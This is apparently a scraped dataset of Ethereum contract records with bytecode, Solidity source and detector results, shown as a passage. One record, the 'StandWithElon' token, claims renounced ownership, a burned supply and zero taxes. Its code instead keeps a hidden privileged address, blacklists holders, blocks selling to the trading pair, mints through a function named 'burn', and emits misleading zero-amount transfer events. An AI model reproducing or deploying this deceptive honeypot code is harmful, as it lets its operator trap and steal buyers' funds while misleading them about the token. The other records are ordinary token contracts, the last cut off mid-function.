61087d610c31565b600680546001600160801b03928316600160801b029216919091179055600480546040516370a0823160e01b815242926000926001600160a01b0316916370a08231916108cc91309101611348565b60206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c9190611330565b6002546004549192506001600160a01b039182169116141561093e5760005490035b6006546000906001600160401b039081169084161061099857836001600160401b0316856001600160801b03168161098657634e487b7160e01b600052601260045260246000fd5b046001600160801b03166005556109e2565b506006546005546001600160401b0391821684900382169081029185166001600160801b0387168301816109dc57634e487b7160e01b600052601260045260246000fd5b04600555505b8181866001600160801b0316011115610a315760405162461bcd60e51b81526020600482015260116024820152706e6f7420656e6f75676820746f6b656e7360781b6044820152606401610692565b600680546001600160801b031916600160401b6001600160401b03808716919091026001600160401b03191691909117858701919091161790556040517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d90610a9b9087906113fd565b60405180910390a15050505050565b6003546001600160a01b03163314610ad45760405162461bcd60e51b8152600401610692906113c8565b600480546040516370a0823160e01b81526000926001600160a01b03909216916370a0823191610b0691309101611348565b60206040518083038186803b158015610b1e57600080fd5b505afa158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b569190611330565b6002546004549192506001600160a01b0391821691161415610b8257600054610b7f9082611411565b90505b6004805460405163a9059cbb60e01b81526001600160a01b039091169163a9059cbb91610bb391339186910161135c565b602060405180830381600087803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0591906112b5565b610c0e57600080fd5b506000600555600680546001600160401b031916426001600160401b0316179055565b6000805480610c52575050600654600160801b90046001600160801b031690565b600654600090600160401b90046001600160401b0316610c706107f4565b036001600160401b03169050816005548202670de0b6b3a76400000281610ca757634e487b7160e01b600052601260045260246000fd5b6006546001600160801b03600160801b90910416919004019392505050565b610cce610507565b610cda61015a33610777565b565b6003546001600160a01b03163314610d065760405162461bcd60e51b8152600401610692906113c8565b61083281611180565b336000908152600160205260409020546001600160801b0382161115610d745760405162461bcd60e51b815260206004820152601a6024820152793bb4ba34323930bb9d103130b630b731b29034b9903637bbb2b960311b6044820152606401610692565b33600090815260016020526040812080546001600160801b0384169081900390915581540390556002546001600160a01b031680610e4a5760405160009033906001600160801b038516908381818185875af1925050503d8060008114610df7576040519150601f19603f3d011682016040523d82523d6000602084013e610dfc565b606091505b5050905080610e445760405162461bcd60e51b8152602060048201526014602482015273657468207472616e73666572206661696c75726560601b6044820152606401610692565b50610f2b565b60025460405163a9059cbb60e01b81523360048201526001600160801b03841660248201526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b158015610e9e57600080fd5b505af1158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed691906112b5565b6040518060400160405280601c81526020017b1cdd185ad959081d1bdad95b881d1c985b9cd9995c8819985a5b195960221b81525090610f295760405162461bcd60e51b81526004016106929190611375565b505b336001600160a01b03167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d583604051610f6491906113fd565b60405180910390a25050565b6002546001600160a01b031680610fad57600080543490810182556001600160a01b03851682526001602052604090912080549091019055611147565b3415610fea5760405162461bcd60e51b815260206004820152600c60248201526b0dcdedc5af4cae4de40cae8d60a31b6044820152606401610692565b6000826001600160801b0316116110345760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b6044820152606401610692565b6040516323b872dd60e01b81523360048201523060248201526001600160801b03831660448201526001600160a01b038216906323b872dd90606401602060405180830381600087803b15801561108a57600080fd5b505af115801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c291906112b5565b6040518060400160405280601c81526020017b1cdd185ad959081d1bdad95b881d1c985b9cd9995c8819985a5b195960221b815250906111155760405162461bcd60e51b81526004016106929190611375565b50600080546001600160801b03841690810182556001600160a01b038516825260016020526040909120805490910190555b826001600160a01b03167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040516106c991906113fd565b6001600160a01b0381166111e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610692565b6003546040516001600160a01b0380841692169060008051602061143583398151915290600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461124657600080fd5b919050565b80356001600160801b038116811461124657600080fd5b600060208284031215611273578081fd5b61127c8261122f565b9392505050565b60008060408385031215611295578081fd5b61129e8361122f565b91506112ac6020840161124b565b90509250929050565b6000602082840312156112c6578081fd5b8151801515811461127c578182fd5b6000602082840312156112e6578081fd5b61127c8261124b565b60008060408385031215611301578182fd5b61130a8361124b565b915060208301356001600160401b0381168114611325578182fd5b809150509250929050565b600060208284031215611341578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6000602080835283518082850152825b818110156113a157858101830151858201604001528201611385565b818111156113b25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6001600160801b0391909116815260200190565b60008282101561142f57634e487b7160e01b81526011600452602481fd5b50039056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220a725b6780843de62bf469171d1b15866584544aeac6e5f5d864b7569a8abf75864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,512 |
0x9814934c529b79f8371944733cc77714d9eabf20 | /*
The Crypto Community stands with Elon!
100% of the supply burned
Ownership Renounced
This is for the community, by the community - 0 taxes
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract StandWithElon is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 100000000*10**18;
string public _name = "Stand With Elon";
string public _symbol= "Stand With Elon";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x662115e294cF187A3229b8Ad0723295c6E8c8501);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220ec2a425b7b8d0c25feb46c680af46de30baff3bf433a98ddb09c5bd07bd6061464736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,513 |
0xd4a89E95d6A2bB9BFcb1eBf450b9fB0fD5153D5C | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/*Token Contract*/
contract ZXCToken is StandardToken, Ownable {
using SafeMath for uint256;
// Token Information
string public constant NAME = "0XCoin";
string public constant SYMBOL = "0XC";
uint8 public constant DECIMALS = 18;
// Sale period1.
uint256 public startDate1;
uint256 public endDate1;
// Sale period2.
uint256 public startDate2;
uint256 public endDate2;
//SaleCap
uint256 public saleCap;
// Address Where Token are keep
address public tokenWallet;
// Address where funds are collected.
address public fundWallet;
// Amount of raised money in wei.
uint256 public weiRaised;
// Event
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
// Modifiers
modifier uninitialized() {
require(tokenWallet == 0x0);
require(fundWallet == 0x0);
_;
}
constructor() public {}
// Trigger with Transfer event
// Fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender, msg.value);
}
function getDate() public view returns(uint256 _date) {
_date = getCurrentTimestamp();
}
//Initial Contract
function initialize(address _tokenWallet, address _fundWallet, uint256 _start1, uint256 _end1,
uint256 _saleCap, uint256 _totalSupply) public
onlyOwner uninitialized {
//require(_start >= getCurrentTimestamp());
require(_start1 < _end1);
require(_tokenWallet != 0x0);
require(_fundWallet != 0x0);
require(_totalSupply >= _saleCap);
startDate1 = _start1;
endDate1 = _end1;
saleCap = _saleCap;
tokenWallet = _tokenWallet;
fundWallet = _fundWallet;
totalSupply = _totalSupply;
balances[tokenWallet] = saleCap;
balances[0xb1] = _totalSupply.sub(saleCap);
}
//Set PreSale Time
function setPeriod(uint period, uint256 _start, uint256 _end) public onlyOwner {
require(_end > _start);
if (period == 1) {
startDate1 = _start;
endDate1 = _end;
}else if (period == 2) {
require(_start > endDate1);
startDate2 = _start;
endDate2 = _end;
}
}
// For pushing pre-ICO records
function sendForPreICO(address buyer, uint256 amount) public onlyOwner {
require(saleCap >= amount);
saleCap = saleCap - amount;
// Transfer
balances[tokenWallet] = balances[tokenWallet].sub(amount);
balances[buyer] = balances[buyer].add(amount);
}
//Set SaleCap
function setSaleCap(uint256 _saleCap) public onlyOwner {
require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) > 0);
uint256 amount=0;
//Check SaleCap
if (balances[tokenWallet] > _saleCap) {
amount = balances[tokenWallet].sub(_saleCap);
balances[0xb1] = balances[0xb1].add(amount);
} else {
amount = _saleCap.sub(balances[tokenWallet]);
balances[0xb1] = balances[0xb1].sub(amount);
}
balances[tokenWallet] = _saleCap;
saleCap = _saleCap;
}
//Calcute Bouns
function getBonusByTime(uint256 atTime) public constant returns (uint256) {
if (atTime < startDate1) {
return 0;
} else if (endDate1 > atTime && atTime > startDate1) {
return 5000;
} else if (endDate2 > atTime && atTime > startDate2) {
return 2500;
} else {
return 0;
}
}
function getBounsByAmount(uint256 etherAmount, uint256 tokenAmount) public pure returns (uint256) {
//Max 40%
uint256 bonusRatio = etherAmount.div(500 ether);
if (bonusRatio > 4) {
bonusRatio = 4;
}
uint256 bonusCount = SafeMath.mul(bonusRatio, 10);
uint256 bouns = SafeMath.mul(tokenAmount, bonusCount);
uint256 realBouns = SafeMath.div(bouns, 100);
